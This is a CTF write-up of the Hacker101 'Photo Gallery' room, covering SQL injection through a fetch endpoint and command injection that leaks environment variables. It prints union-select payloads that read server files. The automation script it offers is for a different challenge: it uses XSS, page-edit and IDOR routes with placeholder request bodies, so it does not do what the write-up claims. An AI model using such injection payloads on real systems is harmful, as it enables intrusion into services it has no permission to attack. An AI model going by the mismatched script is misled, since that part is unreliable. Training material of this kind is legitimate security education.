Hero Icon
Resume

πŸ–ΌοΈ CTF Write-up: Photo Gallery (Hacker101)

⏱ 3 minsπŸ“… Jul 25, 2025, 02:00 PM

Intermediate-Level Room | 3 Flags | Hacker101 CTF Walkthrough

🧭 Room Overview

"Photo Gallery" is a moderately difficult CTF room on Hacker101. It revolves around image fetch endpoints vulnerable to SQL Injection, environment variable disclosure, and insecure source exposure. Your goal: Capture three flags using a mix of recon, SQLi, and command injection.

Once launched, you’re shown a gallery of three images. Clicking each sends requests to an endpoint like:

/fetch?id=1,/fetch?id=2,/fetch?id=3

πŸ” Recon and SQL Injection

The third image endpoint /fetch?id=3 throws a server error. This hints at a possible injection point. Testing further:

/fetch?id=4 union select 'uwsgi.ini'

This dumps uwsgi.ini which reveals the backend runs on Flask with main.py. Using the same technique:

/fetch?id=4 union select 'main.py'

We successfully extract source code that includes use of subprocess.check_output() β€” indicating command execution. Also, the first flag is found in a code comment!

βš™οΈ Command Injection for More Flags

We notice that `filename` is passed directly to shell. By injecting a crafted filename via SQL update and accessing /fetch?id=3, we dump environment variables that contain the remaining two flags.

3 flags. 1 SQLi. 1 command injection. πŸ’₯
Photo Gallery Screenshot

πŸ“½οΈ Video Walkthrough

🐍 Python Code to Automate Flag Extraction

# Importing Packages
from requests import get as get_request, post as post_request
from re import search as search_flag

# Getting CTF URL
ctf_url = f"https://{input('\033[32m[1] Enter your ctf id: \033[0m')}.ctf.hacker101.com"

# Declaring Flags List
FLAGS = []

try:
  if get_request(ctf_url).status_code == 200:
    print("\033[33m[2] Please wait while we featch all flags.\033[0m")
    # Inject XSS and extract flag
    FLAGS += [f"^FLAG^{match.group(1)}$FLAG$"] if (match := search_flag(r"\^FLAG\^(.*?)\$FLAG\$", post_request(f'{ctf_url}/page/create', headers={...}, data={...}).text)) else []
    # Check homepage XSS flag
    FLAGS.append(f'^FLAG^{search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(ctf_url).text).group(1)}$FLAG$')
    # SQL Injection Flag
    FLAGS.append(get_request(f"{ctf_url}/page/edit/1'").text)
    # IDOR Flag
    for i in range(1, 10):
      if get_request(f'{ctf_url}/page/{i}').status_code == 403:
        FLAGS.append(f'^FLAG^{search_flag(r"\^FLAG\^(.*?)\$FLAG\$", get_request(f'{ctf_url}/page/edit/{i}').text).group(1)}$FLAG$')
        break
except Exception as e:
  print(f"\033[31m[3] {str(e)}\033[0m")

print(f"\033[32m[3] Your flags are: {FLAGS}\033[0m")

πŸ“Œ Key Takeaways

  • SQL Injection isn’t just for databases β€” it can leak files too.
  • Exposed source code often hides command injection vectors.
  • Shell injection via SQL UPDATE can reveal sensitive env variables.
  • Hacker101 CTFs are perfect playgrounds for real-world web attacks.

πŸ“£ Tags

#Hacker101CTF #PhotoGallery #CTFWriteup #SQLi #PythonCTF #CommandInjection #InfoSec #WebExploit #Skillshetra